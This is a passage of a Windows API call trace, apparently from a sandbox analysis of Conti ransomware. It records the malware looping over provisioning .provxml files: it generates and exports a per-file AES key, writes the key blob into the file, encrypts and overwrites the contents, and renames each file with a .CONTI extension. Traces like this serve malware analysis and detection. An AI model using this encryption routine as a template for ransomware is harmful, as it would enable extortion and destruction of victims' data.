	[0109.316] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.316] WriteFile (in: hFile=0x384, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x320, lpOverlapped=0x0) returned 1
	[0109.317] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.317] WriteFile (in: hFile=0x384, lpBuffer=0x6512bf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x6512bf8*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0109.317] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.317] CloseHandle (hObject=0x384) returned 1
	[0109.317] GetProcessHeap () returned 0x1720000
	[0109.317] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x656c130
	[0109.317] lstrcpyW (in: lpString1=0x656c130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml"
	[0109.317] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.317] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\221__connections_cellular_digicel (jamaica)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\221__connections_cellular_digicel (jamaica)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.317] GetProcessHeap () returned 0x1720000
	[0109.318] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656c130 | out: hHeap=0x1720000) returned 1
	[0109.318] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0109.318] GetProcessHeap () returned 0x1720000
	[0109.318] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6589b40 | out: hHeap=0x1720000) returned 1
	[0109.318] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0109.318] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6515e30 | out: phKey=0x6515e30*=0x6b7f038) returned 1
	[0109.318] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x6515e34, pdwDataLen=0x3a7ff24 | out: pbData=0x6515e34*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0109.318] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\222__connections_cellular_docomo (japan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.319] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\222__connections_cellular_docomo (japan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0109.319] GetLastError () returned 0x0
	[0109.319] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=714) returned 1
	[0109.319] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ca
	[0109.319] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.319] SetEndOfFile (hFile=0x384) returned 1
	[0109.319] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.319] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.319] WriteFile (in: hFile=0x384, lpBuffer=0x6515e34*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x6515e34*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0109.321] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.321] ReadFile (in: hFile=0x384, lpBuffer=0x9370000, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x2ca, lpOverlapped=0x0) returned 1
	[0109.321] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2ca, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2d0) returned 1
	[0109.321] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.321] WriteFile (in: hFile=0x384, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x2d0, lpOverlapped=0x0) returned 1
	[0109.321] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.321] WriteFile (in: hFile=0x384, lpBuffer=0x6515e28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x6515e28*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0109.321] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.321] CloseHandle (hObject=0x384) returned 1
	[0109.321] GetProcessHeap () returned 0x1720000
	[0109.321] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x656c130
	[0109.322] lstrcpyW (in: lpString1=0x656c130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml"
	[0109.322] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.322] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\222__connections_cellular_docomo (japan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\222__connections_cellular_docomo (japan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.322] GetProcessHeap () returned 0x1720000
	[0109.322] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656c130 | out: hHeap=0x1720000) returned 1
	[0109.322] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0109.322] GetProcessHeap () returned 0x1720000
	[0109.322] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6589c88 | out: hHeap=0x1720000) returned 1
	[0109.322] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0109.322] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6513768 | out: phKey=0x6513768*=0x6b7f3f8) returned 1
	[0109.322] CryptExportKey (in: hKey=0x6b7f3f8, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x651376c, pdwDataLen=0x3a7ff24 | out: pbData=0x651376c*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0109.323] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\223__connections_cellular_docomo (japan)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0109.323] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\223__connections_cellular_docomo (japan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0109.324] GetLastError () returned 0x0
	[0109.324] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=734) returned 1
	[0109.324] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2de
	[0109.324] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.324] SetEndOfFile (hFile=0x384) returned 1
	[0109.324] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.324] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.324] WriteFile (in: hFile=0x384, lpBuffer=0x651376c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x651376c*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0109.326] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.326] ReadFile (in: hFile=0x384, lpBuffer=0x9370000, nNumberOfBytesToRead=0x2de, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x2de, lpOverlapped=0x0) returned 1
	[0109.326] CryptEncrypt (in: hKey=0x6b7f3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2de, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2e0) returned 1
	[0109.326] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.326] WriteFile (in: hFile=0x384, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x2e0, lpOverlapped=0x0) returned 1
	[0109.326] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.326] WriteFile (in: hFile=0x384, lpBuffer=0x6513760*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x6513760*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0109.326] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.326] CloseHandle (hObject=0x384) returned 1
	[0109.326] GetProcessHeap () returned 0x1720000
	[0109.326] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x656c130
	[0109.326] lstrcpyW (in: lpString1=0x656c130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml"
	[0109.327] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml.CONTI"
	[0109.327] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\223__connections_cellular_docomo (japan)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\223__connections_cellular_docomo (japan)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0109.327] GetProcessHeap () returned 0x1720000
	[0109.327] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656c130 | out: hHeap=0x1720000) returned 1
	[0109.327] CryptDestroyKey (hKey=0x6b7f3f8) returned 1
	[0109.327] GetProcessHeap () returned 0x1720000
	[0109.327] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6587f10 | out: hHeap=0x1720000) returned 1
	[0109.327] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0109.327] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6514088 | out: phKey=0x6514088*=0x6b7f6b8) returned 1
	[0109.327] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x651408c, pdwDataLen=0x3a7ff24 | out: pbData=0x651408c*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0109.328] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\224__connections_cellular_docomo (japan)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0109.328] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\224__connections_cellular_docomo (japan)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0109.328] GetLastError () returned 0x0
	[0109.328] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=722) returned 1
	[0109.328] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2
	[0109.329] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.329] SetEndOfFile (hFile=0x384) returned 1
	[0109.329] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.329] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.329] WriteFile (in: hFile=0x384, lpBuffer=0x651408c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x651408c*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0109.331] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.331] ReadFile (in: hFile=0x384, lpBuffer=0x9370000, nNumberOfBytesToRead=0x2d2, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x2d2, lpOverlapped=0x0) returned 1
	[0109.331] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2d2, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2e0) returned 1
	[0109.331] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.331] WriteFile (in: hFile=0x384, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x2e0, lpOverlapped=0x0) returned 1
	[0109.331] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.331] WriteFile (in: hFile=0x384, lpBuffer=0x6514080*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x6514080*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0109.331] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.331] CloseHandle (hObject=0x384) returned 1
	[0109.331] GetProcessHeap () returned 0x1720000
	[0109.331] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x656c130
	[0109.331] lstrcpyW (in: lpString1=0x656c130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml"
	[0109.331] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml.CONTI"
	[0109.331] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\224__connections_cellular_docomo (japan)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\224__connections_cellular_docomo (japan)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0109.332] GetProcessHeap () returned 0x1720000
	[0109.332] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656c130 | out: hHeap=0x1720000) returned 1
	[0109.332] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0109.332] GetProcessHeap () returned 0x1720000
	[0109.332] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588058 | out: hHeap=0x1720000) returned 1
	[0109.332] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0109.332] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x65129b8 | out: phKey=0x65129b8*=0x6b7f3b8) returned 1
	[0109.332] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x65129bc, pdwDataLen=0x3a7ff24 | out: pbData=0x65129bc*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
